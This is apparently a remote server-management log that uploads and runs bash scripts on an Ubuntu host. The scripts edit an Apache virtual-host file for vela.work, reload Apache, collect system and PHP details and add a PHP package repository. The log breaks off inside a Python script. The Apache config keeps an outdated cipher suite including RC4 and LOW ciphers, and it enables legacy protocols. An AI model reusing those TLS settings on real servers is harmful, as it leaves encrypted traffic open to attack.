MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 12:01:40: Establishing a connection
2026-03-14 12:01:40: 

PUT: /tmp/pkp601089

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vela_www_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-14 12:01:40: 

chmod 755 /tmp/pkp601089; /tmp/pkp601089; rm /tmp/pkp601089

2026-03-14 12:01:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf 37

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-14 12:01:40: 

PUT: /tmp/pkp654386

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_www_work.conf
TARGET=/etc/apache2/sites-enabled/vela_www_work.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/vela
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vela_www_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf= 1'
fi


2026-03-14 12:01:40: 

chmod 755 /tmp/pkp654386; /tmp/pkp654386; rm /tmp/pkp654386

2026-03-14 12:01:40: 




2026-03-14 12:01:40: 

PUT: /tmp/pkp122201

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vela_www_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-14 12:01:40: 

chmod 755 /tmp/pkp122201; /tmp/pkp122201; rm /tmp/pkp122201

2026-03-14 12:01:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf 37

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-14 12:01:40: 

PUT: /tmp/pkp322515

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_www_work.conf
TARGET=/etc/apache2/sites-enabled/vela_www_work.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/vela
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vela_www_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf= 1'
fi


2026-03-14 12:01:40: 

chmod 755 /tmp/pkp322515; /tmp/pkp322515; rm /tmp/pkp322515

2026-03-14 12:01:40: 




2026-03-14 12:01:40: 

PUT: /tmp/pkp457312

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-14 12:01:40: 

chmod 755 /tmp/pkp457312; /tmp/pkp457312; rm /tmp/pkp457312

2026-03-14 12:01:40: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-14 12:01:40: Performing Server Status
2026-03-14 12:01:40: 

PUT: /tmp/pkp403865

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-14 12:01:40: 

chmod 755 /tmp/pkp403865; /tmp/pkp403865; rm /tmp/pkp403865

2026-03-14 12:01:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
condor

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-101-generic



2026-03-14 12:01:40: 

PUT: /tmp/pkp691889

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-14 12:01:40: 

chmod 755 /tmp/pkp691889; /tmp/pkp691889; rm /tmp/pkp691889

2026-03-14 12:01:41: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 675419
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      675419  0.0  1.0 261196 43020 ?        Ss   06:48   0:02 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-14 12:01:41: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'condor',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'reqtimeout_module',
      27 => 'rewrite_module',
      28 => 'setenvif_module',
      29 => 'socache_shmcb_module',
      30 => 'ssl_module',
      31 => 'status_module',
    ),
  ),
)


2026-03-14 12:01:41: 

PUT: /tmp/pkp777305

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-14 12:01:41: 

chmod 755 /tmp/pkp777305; /tmp/pkp777305; rm /tmp/pkp777305

2026-03-14 12:01:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-14 12:01:41: 

PUT: /tmp/pkp861301

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-14 12:01:41: 

chmod 755 /tmp/pkp861301; /tmp/pkp861301; rm /tmp/pkp861301

2026-03-14 12:01:41: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30


2026-03-14 12:01:41: 

PUT: /tmp/pkp631375

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
